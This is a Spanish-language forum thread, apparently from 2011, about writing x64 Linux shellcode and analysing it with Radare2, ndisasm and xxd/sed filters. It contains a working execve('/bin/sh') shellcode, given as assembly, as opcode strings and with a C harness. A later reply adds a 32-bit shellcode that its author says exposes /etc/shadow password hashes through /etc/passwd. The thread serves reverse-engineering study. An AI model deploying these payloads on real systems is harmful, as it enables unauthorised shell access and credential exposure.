Shellcoding en sistemas Linux
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Sobre shellcodes en Linux x64 y su análisis con Radare2

por newlog Dom Jul 24, 2011 3:10 pm

.


Sobre shellcodes en Linux x64 y su análisis con Radare2


Muy buenas gente!

En este post voy a explicar un modo con el que poder analizar los shellcodes que podáis encontrar 'into the wild'. O sea, aquellos shellcodes que ya están en hexadecimal en los propios exploits.

Antes de nada, decir que la información que concierne a Radare la he extraído de esta entrada y de su documentación. Así que si queréis profundizar en el tema os remito a él.

Como afirman los autores de Radare, esta utilidad sirve para desensamblar, depurar y manipular todo tipo de archivos binarios. Bajo esta escueta descripción se esconde un monstruo de programa con cientos de utilidades posibles. Lo cierto es que si hoy escribo esto es porqué me quiero introducir yo mismo en este framework y poco a poco ir aprendiendo todo lo que se puede hacer con él.

Decir que todo lo que se explica aquí se desarrolla sobre un Backtrack 5.

Bien, empecemos.

Primero de todo nos descargaremos Radare2 - a partir de ahora, r2 - de aquí.

Una vez descargado nos ubicamos en el directorio donde se haya guardado y lo descomprimimos con el siguiente comando:

Código: Seleccionar todo
tar xvf radare2-0.8.1.tar.gz


Decir, que todos los comandos que se ejecutarán a continuación, lo harán con privilegios de root.

Una vez descomprimido, entramos en el nuevo directorio y ejecutamos los siguientes comandos para instalar r2.

Código: Seleccionar todo
./configure --prefix=/usr ; make ; make symstall


Una vez haya acabado todo el proceso, r2 ya estará instalado en nuestros sistemas. Así de simple. Para comprobar que se ha instalado correctamente basta con intentar ejecutar el binario de Radare.

Código: Seleccionar todo
root@bt:~# r2
Usage: radare2 [-dwnLqv] [-p prj] [-s addr] [-b bsz] [-e k=v] [file]


Ahora debemos encontrar un shellcode que sirva a nuestros propósitos. En este caso he elegido un shellcode muy simple para ilustrar básicamente el método para analizarlo con Radare.

[ACLARACION]
Mientras desarrollaba esta guía en mi nueva máquina virtual me he dado cuenta de que es de 64 bits! Así que nos va a tocar lidiar con shellcodes desarrolladas para arquitecturas de 64 bits ;) Como aun no estoy puesto en el tema, he utilizado la información encontrada aquí. Parece mentira la poca información que hay ahí fuera sobre shellcodes para Linux en arquitecturas de 64.

En fin, como veréis todo acaba siendo lo mismo. Sólo es necesario saber cómo funcionan los registros en esta arquitectura y poca cosa más.
[/ACLARACION]

Utilizaremos un execve shellcode como el siguiente.

Código: Seleccionar todo
BITS 64
xor rdx, rdx
xor rsi, rsi
mov rdi, 0x1168732f6e69622f
shl rdi, 0x8
shr rdi, 0x8
push rdi
mov rdi, rsp
mov rax, 0x111111111111113b
shl rax, 0x38
shr rax, 0x38
syscall


Si no necesitas saber cómo funciona este shellcode, puedes pasar de leer los siguientes parágrafos:

[EXPLICACIÓN DEL SHELLCODE]
Lo primero que debe quedar claro es cómo se realizan las llamadas al sistema en un Linux de 64 bits.

En el registro rax se almacena el número de la llamada de sistema a ejecutar.
Los registros rdi, rsi, rdx, r10, r8 y r9 sirven para almacenar el valor del primer argumento, del segundo, ... respectivamente.
Por último, para decirle al kernel que ejecute la llamada al sistema, se utiliza la instrucción 'syscall'.

El registro rsp es el encargado de saber cual es el último valor insertado en la pila.

La llamada a sistema a ejecutar es execve y su declaración es tal que así:
Código: Seleccionar todo
int execve(const char *path, char *const argv[], char *const envp[]);


El primer argumento es un puntero al comando a ejecutar. El segundo y tercer parámetro los dejaremos a 0.

Veamos lo que hace el código ensamblador del shellcode.

Con la primera y la segunda instrucción se ponen a cero los registros rdx y rsi. Con esto tenemos el segundo y el tercer argumento
Con la tercera instrucción almacenamos en el registro rdi los valores hexadecimales de la cadena "/bin/sh" que será el binario a ejecutar.

Imagino que ya os habréis fijado en que el byte 0x11 sobra. Bueno, esto se hace para que el shellcode no contenga bytes nulos en el momento de compilarlo y obtener sus opcodes. Gracias a las siguientes dos instrucciones - shl y shr -, en tiempo de ejecución, primero de todo el valor del registro rdi se shiftará hacia la izquierda 8 bits, con lo que el byte 0x11 desaparecerá y como bits de menor peso se añadirán 0. Sin embargo, la siguiente instrucción - shr - shiftará el valor 8 bits hacia la derecha con lo que los bits de mayor peso pasarán a ser 0 y se obtendrá el valor 0x0068732f6e69622f. Si no te ha quedado muy claro el proceso, aquí hay una muy buena explicación de las instrucciones de shiftado.

Entendido, en este momento en el registro rdi están almacenados los bytes de la cadena "/bin/sh", sin embargo, como primer parámetro de la llamada execve no queremos exactamente la cadena "/bin/sh" sino que se necesita un puntero a la cadena. Por esta razón, el valor del registro rdi se inserta en la pila y, a continuación, movemos a rdi el valor del registro rsp que contiene la dirección de memoria donde se ha almacenado el último dato de la pila.

Ahora todos los argumentos están preparados. Sólo falta almacenar en el registro rax el número de la llamada al sistema - en nuestro caso es el valor 59d -. De nuevo se vuelve a realizar el truco explicado anteriormente para evitar bytes nulos en el shellcode.

Una vez está todo preparado se ejecuta la instrucción 'syscall' y ya tenemos nuestro shellcode.
[/EXPLICACION DEL SHELLCODE]


Este código lo guardaremos con el nombre 'shellcode.asm' y, para compilarlo, utilizaremos los siguientes comandos.

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# nasm -f elf64 shellcode.asm
root@bt:~/ShellcodeAnalisys/Shellcode# ld -o shellcode shellcode.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080


A continuación, si se depura el binario con GDB se puede comprovar que el binario /bin/sh es ejecutado:
Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# gdb -q shellcode
Reading symbols from /root/ShellcodeAnalisys/Shellcode/shellcode...(no debugging symbols found)...done.
(gdb) run
Starting program: /root/ShellcodeAnalisys/Shellcode/shellcode
process 32128 is executing new program: /bin/bash
root@bt:/root/ShellcodeAnalisys/Shellcode#


Ahora necesitamos los opcodes de este shellcode. Para obtenerlos vamos a utilizar objdump.

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# objdump -d shellcode

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <.text>:
  400080:   48 31 d2                xor    %rdx,%rdx
  400083:   48 31 f6                xor    %rsi,%rsi
  400086:   48 bf 2f 62 69 6e 2f    mov    $0x1168732f6e69622f,%rdi
  40008d:   73 68 11
  400090:   48 c1 e7 08             shl    $0x8,%rdi
  400094:   48 c1 ef 08             shr    $0x8,%rdi
  400098:   57                      push   %rdi
  400099:   48 89 e7                mov    %rsp,%rdi
  40009c:   48 b8 3b 11 11 11 11    mov    $0x111111111111113b,%rax
  4000a3:   11 11 11
  4000a6:   48 c1 e0 38             shl    $0x38,%rax
  4000aa:   48 c1 e8 38             shr    $0x38,%rax
  4000ae:   0f 05                   syscall



Los opcodes son todos esos valores hexadecimales que se muestran en el centro. Así pues nuestro shellcode listo para usar quedaría del siguiente modo:

Código: Seleccionar todo
"\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"


Para comprobar que este shellcode funciona correctamente lo debemos probar tal y como lo haríamos en un exploit. Para ello utilizaremos el siguiente código fuente:

Código: Seleccionar todo
#include <unistd.h>

char shellcode[] = "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05";

int main(int argc, char ** argv) {
        void (*fp)();
        fp = (void(*)())shellcode;
        (void)(*fp)();

        return 0;
}


Lo compilamos y con la utilidad execstack (apt-get install execstack) le especificamos que la región de pila que utiliza este binario sea ejecutable. Una vez realizado lo siguiente, se comprueba que el shellcode es funcional.

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# gcc testShellcode.c -o testShellcode
root@bt:~/ShellcodeAnalisys/Shellcode# execstack -s testShellcode
root@bt:~/ShellcodeAnalisys/Shellcode# ./testShellcode
root@bt:/root/ShellcodeAnalisys/Shellcode# exit
exit
root@bt:~/ShellcodeAnalisys/Shellcode#


NOTA: Decir que no he provado este shellcode en un exploit in the wild, así que es posible que por alguna u otra razón no funcionara en un escenario real. Sin embargo, el objetivo de este documento es cómo analizar un shellcode con Radare. Aun así, no debería haber ningún problema con el shellcode, descartando claro, que no se hace un setuid(0) ;)


Decir que el objetivo de este texto es descubrir qué hacen los shellcodes sin tener que ejecutarlos para descubrirlo! Este shellcode lo hemos ejecutado porqué ya sabíamos lo que hacía. Más que nada para demostrar como programar un shellcode funcional para Linux x64.

La idea es que cuando querramos analizar un shellcode es porqué sólo disponemos de sus opcodes y no tenemos ni idea de lo que pueden llegar a realizar. Reto a quien sea capaz de leer código por sus opcodes ;)

Una vez llegados aquí ya tenemos los elementos que necesitamos y ya podemos empezar a jugar con Radare, que para eso estamos aquí.



Primero de todo utilizaremos la utilidad Rabin para obtener una lista de todos los símbolos del binario:

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# rabin2 -s ./testShellcode
[Symbols]
addr=0x0040040c off=0x0000040c ordinal=028 forwarder=NONE sz=0 bind=LOCAL type=FUNC name=call_gmon_start
addr=0x00600e18 off=0x00200e18 ordinal=030 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=__CTOR_LIST__
addr=0x00600e28 off=0x00200e28 ordinal=031 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=__DTOR_LIST__
addr=0x00600e38 off=0x00200e38 ordinal=032 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=__JCR_LIST__
addr=0x00400430 off=0x00000430 ordinal=033 forwarder=NONE sz=0 bind=LOCAL type=FUNC name=__do_global_dtors_aux
addr=0x00601078 off=0x00201078 ordinal=034 forwarder=NONE sz=1 bind=LOCAL type=OBJECT name=completed.7382
addr=0x00601080 off=0x00201080 ordinal=035 forwarder=NONE sz=8 bind=LOCAL type=OBJECT name=dtor_idx.7384
addr=0x004004a0 off=0x000004a0 ordinal=036 forwarder=NONE sz=0 bind=LOCAL type=FUNC name=frame_dummy
addr=0x00600e20 off=0x00200e20 ordinal=038 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=__CTOR_END__
addr=0x00400678 off=0x00000678 ordinal=039 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=__FRAME_END__
addr=0x00600e38 off=0x00200e38 ordinal=040 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=__JCR_END__
addr=0x00400590 off=0x00000590 ordinal=041 forwarder=NONE sz=0 bind=LOCAL type=FUNC name=__do_global_ctors_aux
addr=0x00600fe8 off=0x00200fe8 ordinal=043 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=_GLOBAL_OFFSET_TABLE_
addr=0x00600e14 off=0x00200e14 ordinal=044 forwarder=NONE sz=0 bind=LOCAL type=NOTYPE name=__init_array_end
addr=0x00600e14 off=0x00200e14 ordinal=045 forwarder=NONE sz=0 bind=LOCAL type=NOTYPE name=__init_array_start
addr=0x00600e40 off=0x00200e40 ordinal=046 forwarder=NONE sz=0 bind=LOCAL type=OBJECT name=_DYNAMIC
addr=0x00601020 off=0x00201020 ordinal=047 forwarder=NONE sz=0 bind=UNKNOWN type=NOTYPE name=data_start
addr=0x004004f0 off=0x000004f0 ordinal=048 forwarder=NONE sz=2 bind=GLOBAL type=FUNC name=__libc_csu_fini
addr=0x004003e0 off=0x000003e0 ordinal=049 forwarder=NONE sz=0 bind=GLOBAL type=FUNC name=_start
addr=0x004005c8 off=0x000005c8 ordinal=052 forwarder=NONE sz=0 bind=GLOBAL type=FUNC name=_fini
addr=0x004005d8 off=0x000005d8 ordinal=054 forwarder=NONE sz=4 bind=GLOBAL type=OBJECT name=_IO_stdin_used
addr=0x00601020 off=0x00201020 ordinal=055 forwarder=NONE sz=0 bind=GLOBAL type=NOTYPE name=__data_start
addr=0x00601028 off=0x00201028 ordinal=056 forwarder=NONE sz=0 bind=GLOBAL type=OBJECT name=__dso_handle
addr=0x00600e30 off=0x00200e30 ordinal=057 forwarder=NONE sz=0 bind=GLOBAL type=OBJECT name=__DTOR_END__
addr=0x00400500 off=0x00000500 ordinal=058 forwarder=NONE sz=137 bind=GLOBAL type=FUNC name=__libc_csu_init
addr=0x00601074 off=0x00201074 ordinal=059 forwarder=NONE sz=0 bind=GLOBAL type=NOTYPE name=__bss_start
addr=0x00601040 off=0x00201040 ordinal=060 forwarder=NONE sz=49 bind=GLOBAL type=OBJECT name=shellcode
addr=0x00601088 off=0x00201088 ordinal=061 forwarder=NONE sz=0 bind=GLOBAL type=NOTYPE name=_end
addr=0x00601074 off=0x00201074 ordinal=062 forwarder=NONE sz=0 bind=GLOBAL type=NOTYPE name=_edata
addr=0x004004c4 off=0x000004c4 ordinal=063 forwarder=NONE sz=41 bind=GLOBAL type=FUNC name=main
addr=0x004003a8 off=0x000003a8 ordinal=064 forwarder=NONE sz=0 bind=GLOBAL type=FUNC name=_init


El penúltimo binario es el que nos interesa. En símbolo main.

Ahora ejecutamos r2 para que analice estáticamente el binario en cuestión. Si se utilizara la opción '-d', se podría depurar el ejecutable.

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# r2 ./testShellcode
[0x004003e0]>


Ahora ya estamos dentro del interfaz de Radare. Para salir de él basta con escribir un 'q' y apretar enter.

En Radare se utiliza el comando 'p' (de print) para mostrar todo tipo de datos. La cantidad de datos que muestra Radare está basada en una variable interna que especifica el tamaño de los bloques de datos a mostrar. Sin embargo, este tamaño se puede modificar momentáneamente.
El comando 'd' junto a 'p', o sea el comando 'pd', muestra tantos opcodes como se le especifique. El comando 'pd 20' mostraría 20 opcodes desde el punto en el que nos encontramos.
Finalmente, si utilizamos el comando 'pdf' junto al nombre del símbolo que queremos mostrar, la medida del bloque a mostrar será igual de grande que el símbolo en si.

Código: Seleccionar todo
[0x004003e0]> pdf @ sym.main
Cannot find function at 0x004004c4
Cannot find function at 0x004004c4
      0x004004c4  sym.main:
      0x004004c4    0    55               push rbp
      0x004004c5    8+   4889e5           mov rbp, rsp
      0x004004c8    8    4883ec20         sub rsp, 0x20
      0x004004cc   40+   897dec           mov [rbp-0x14], edi
      0x004004cf   40    488975e0         mov [rbp-0x20], rsi
      0x004004d3   40    48c745f840106000 mov qword [rbp-0x8], sym.shellcode
      0x004004db   40    488b55f8         mov rdx, [rbp-0x8]
      0x004004df   40    b800000000       mov eax, 0x0
      0x004004e4   40    ffd2             call rdx
         ; unk(unk)
      0x004004e6   40    b800000000       mov eax, 0x0
      0x004004eb   40    c9               leave
      0x004004ec   40    c3               ret
      ; ------------
      0x004004ed    0-   90               nop
      0x004004ee    0    90               nop
      0x004004ef    0    90               nop
      0x004004f0  sym.__libc_csu_fini:
      0x004004f0    0    f3c3             rep ret
      ; ------------
      0x004004f2    0    66666666662e0f1. o16 nop [cs:rax+rax+0x0]
      0x00400500  sym.__libc_csu_init:
      0x00400500    0    48896c24         invalid
[0x004003e0]>


La '@' sirve para especificar un offset a partir del cual se ejecutará el comando de radare.

Como vemos, hemos podido desemsamblar el contenido del binario. Se hace evidente que lo que debemos hacer a continuación es descubrir qué es lo que hay en el sospechoso símbolo 'shellcode'.

Para ello vamos a ejecutar otro comando, 'pi @ sym.shellcode'.

Código: Seleccionar todo
[0x004003e0]> pi @ sym.shellcode
xor rdx, rdx
xor rsi, rsi
mov rdi, 0x1168732f6e69622f
shl rdi, 0x8
shr rdi, 0x8
push rdi
mov rdi, rsp
mov rax, 0x111111111111113b
shl rax, 0x38
shr rax, 0x38
syscall
add [rax], al
add [rax], al
cmp spl, [r8]
sub [rbp+0x62], dl
jnz 0x400570
jz 0x400577


Hecho! Como podemos ver, las primeras 11 líneas son las que formaban nuestro shellcode original. Así pues, si no conociéramos cual es el shellcode original, sólo tendríamos que analizar este código ensamblador y ver lo que hace, tal y como hemos hecho al principio.


Hasta aquí por hoy. Lo cierto es que posiblemente esta tarea se pueda llevar a cabo de otros modos más simples, sin embargo, ahora ya estamos introducidor en el mundo de Radare.
Os insisto que Radare es a la ingeniería inversa, lo que netcat a los sockets :P O sea, una navaja suiza.

Con Radare puedes hacer muchísimas cosas, como ahora, análisis estáticos, depuración de binarios, bindiffing, y decenas de cosas más.


Saludos y espero que os haya abierto el apetito a más radare ;)
Imagen
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Sobre shellcodes en Linux x64 y su análisis con Radare2

por vlan7 Dom Jul 24, 2011 9:37 pm

Hola,

Primero de todo gracias por el curro. Y sobre esto:

Reto a quien sea capaz de leer código por sus opcodes


Pues si no lo he entendido mal, yo lo hice asi en la primera entrega de las ASM/Shellcoding Series:

Código: Seleccionar todo
perl -e 'print "ristra_de_opcodes"' |ndisasm -u -


Y a quien no le guste perl...

Código: Seleccionar todo
echo -ne "ristra_de_opcodes" |ndisasm -u -


Sobre obtener los opcodes de la salida de objdump, el pequeño script que conociamos ambos es muy muy largo, ¿que tal algo asi?

Código: Seleccionar todo
xxd -i shellcode |grep , |sed s/" "/" "/ |sed s/","/""/g |sed s/"0x"/"\\\\x"/g


Claro, que ya no son filtros 100% UNIX de toda la vida, partimos de un xxd, pero pienso que esta mas claro ¿no? Por cierto, me comentaste que el script aquel para obtener opcodes en x86 petaba para shellcodes de x64... imagino que sera porque cambiara algo la salida de objdump de una arquitectura a otra... Este ultimo codigo deberia funcionar en ambas arquitecturas, aunque como no lo he probado no pongo la mano en el fuego, asi que si te/os rula en ambas arquitecturas algo que hemos ganado, un hack mas para la saca jajaja

Suerte,
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Re: Sobre shellcodes en Linux x64 y su análisis con Radare2

por newlog Dom Jul 24, 2011 10:03 pm

Vale, acabo de flipar jajaja

No me acordaba de ese comando en tu primer paper de la serie! Si no fuera porqué quería saber cómo funcionaba Radare, ahora estaría bastante mosqueado jajaja.

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# echo -ne "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" | ndisasm -b 64 -
00000000  4831D2            xor rdx,rdx
00000003  4831F6            xor rsi,rsi
00000006  48BF2F62696E2F73  mov rdi,0x1168732f6e69622f
         -6811
00000010  48C1E708          shl rdi,0x8
00000014  48C1EF08          shr rdi,0x8
00000018  57                push rdi
00000019  4889E7            mov rdi,rsp
0000001C  48B83B1111111111  mov rax,0x111111111111113b
         -1111
00000026  48C1E038          shl rax,0x38
0000002A  48C1E838          shr rax,0x38
0000002E  0F05              loadall286


Sobre lo del reto, me refería a poder leerlo a pelo, decir algo como: 'Ah vale, un "\x48\xc1\xe7\x08" es un "shl rdi, 0x8"' ;)

Sobre el nuevo script, creo que no funciona como debería:

Código: Seleccionar todo
root@bt:~/ShellcodeAnalisys/Shellcode# xxd -i shellcode |grep , |sed s/" "/" "/ |sed s/","/""/g |sed s/"0x"/"\\\\x"/g
  \x7f \x45 \x4c \x46 \x02 \x01 \x01 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x02 \x00 \x3e \x00 \x01 \x00 \x00 \x00
  \x80 \x00 \x40 \x00 \x00 \x00 \x00 \x00 \x40 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \xd8 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x40 \x00 \x38 \x00 \x01 \x00 \x40 \x00
  \x05 \x00 \x02 \x00 \x01 \x00 \x00 \x00 \x05 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x40 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x40 \x00 \x00 \x00 \x00 \x00
  \xb0 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \xb0 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x20 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x48 \x31 \xd2 \x48
  \x31 \xf6 \x48 \xbf \x2f \x62 \x69 \x6e \x2f \x73 \x68 \x11
  \x48 \xc1 \xe7 \x08 \x48 \xc1 \xef \x08 \x57 \x48 \x89 \xe7
  \x48 \xb8 \x3b \x11 \x11 \x11 \x11 \x11 \x11 \x11 \x48 \xc1
  \xe0 \x38 \x48 \xc1 \xe8 \x38 \x0f \x05 \x00 \x2e \x73 \x79
  \x6d \x74 \x61 \x62 \x00 \x2e \x73 \x74 \x72 \x74 \x61 \x62
  \x00 \x2e \x73 \x68 \x73 \x74 \x72 \x74 \x61 \x62 \x00 \x2e
  \x74 \x65 \x78 \x74 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x1b \x00 \x00 \x00 \x01 \x00 \x00 \x00
  \x06 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x80 \x00 \x40 \x00
  \x00 \x00 \x00 \x00 \x80 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x30 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x10 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x11 \x00 \x00 \x00
  \x03 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \xb0 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x21 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x01 \x00 \x00 \x00 \x02 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x18 \x02 \x00 \x00 \x00 \x00 \x00 \x00 \xa8 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x04 \x00 \x00 \x00 \x03 \x00 \x00 \x00
  \x08 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x18 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x09 \x00 \x00 \x00 \x03 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \xc0 \x02 \x00 \x00 \x00 \x00 \x00 \x00
  \x2e \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x03 \x00 \x01 \x00 \x80 \x00 \x40 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00
  \x04 \x00 \xf1 \xff \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x0f \x00 \x00 \x00
  \x10 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x16 \x00 \x00 \x00
  \x10 \x00 \xf1 \xff \x00 \x10 \x60 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x22 \x00 \x00 \x00
  \x10 \x00 \xf1 \xff \x00 \x10 \x60 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x29 \x00 \x00 \x00
  \x10 \x00 \xf1 \xff \x00 \x10 \x60 \x00 \x00 \x00 \x00 \x00
  \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x73 \x68 \x65
  \x6c \x6c \x63 \x6f \x64 \x65 \x2e \x61 \x73 \x6d \x00 \x5f
  \x73 \x74 \x61 \x72 \x74 \x00 \x5f \x5f \x62 \x73 \x73 \x5f
  \x73 \x74 \x61 \x72 \x74 \x00 \x5f \x65 \x64 \x61 \x74 \x61
  \x00 \x5f \x65 \x6e \x64 \x00


Saludos!
Imagen
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Sobre shellcodes en Linux x64 y su análisis con Radare2

por vlan7 Dom Jul 24, 2011 10:40 pm

Habra que pulir esos filtros jefe... como sabes ando sin maquina propia, te escribo desde el win7 de mi novia, y ahi chungo que salga a la primera jejeje pero vamos, en cuanto pueda hacer prueba y error, dividir el problema en problemas mas pequeños y asi ver donde falla cada filtro (que al final es como siempre acaban saliendo bien estas cosas) estoy seguro de que lo lograremos...

Haxta otra!
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Sobre shellcodes en Linux x64 y su análisis con Radare2

por vlan7 Dom Jul 24, 2011 11:24 pm

Hecho.

Acabo de cargar un BT5 en Virtualbox y mira:

Código: Seleccionar todo
root@root:~# cat shellcode.asm
; THIS PROGRAM IS A HACK
BITS 32
xor ebx,ebx
LEA eax,[ebx + 0x17]
cdq
int 80
mov al,0bh
push edx
push dword "conv"
push dword "pwun"
push dword "bin/"
push dword "sr/s"
push dword "///u"
mov ebx,esp
mov ecx,edx
int 80h
root@root:~# nasm shellcode.asm -o shellcode
root@root:~# xxd -i shellcode |grep , |sed s/" "/" "/ |sed s/","/""/g |sed s/" "/""/g|sed s/"0x"/"\\\\x"/g |sed s/^/\"/ |sed s/$/\"/
"\x31\xdb\x8d\x43\x17\x99\xcd\x50\xb0\x0b\x52\x68"
"\x63\x6f\x6e\x76\x68\x70\x77\x75\x6e\x68\x62\x69"
"\x6e\x2f\x68\x73\x72\x2f\x73\x68\x2f\x2f\x2f\x75"
"\x89\xe3\x89\xd1\xcd\x80"
root@root:~#


Es un shellcode viejo que hice, lo que hace es pasar todos los passwords shadowed de /etc/shadow a /etc/passwd , legible a la fuerza por todo el mundo.

Tambien me he dado cuenta de que esos filtros solo funcionan si no pasas a NASM la opcion -f elf32 , no se bien aun por que y es ya tarde... Lo que si que no tengo es un Linux x64...

Suerte,
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Re: Sobre shellcodes en Linux x64 y su análisis con Radare2

por newlog Lun Jul 25, 2011 12:42 am

Te veo con la espina clavada :lol:

Espero que lo saques, porque yo siempre utilizo tus scripts en estos temas!

Saludos!
Imagen
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Sobre shellcodes en Linux x64 y su análisis con Radare2

por vlan7 Mié Ago 03, 2011 4:29 pm

Bueno, mio mio hay poco, siempre me baso en la red amigo. Todo esta en la red y nadie deberia tener que resolver un problema dos veces.

Saludos!
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
Volver a Linux

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado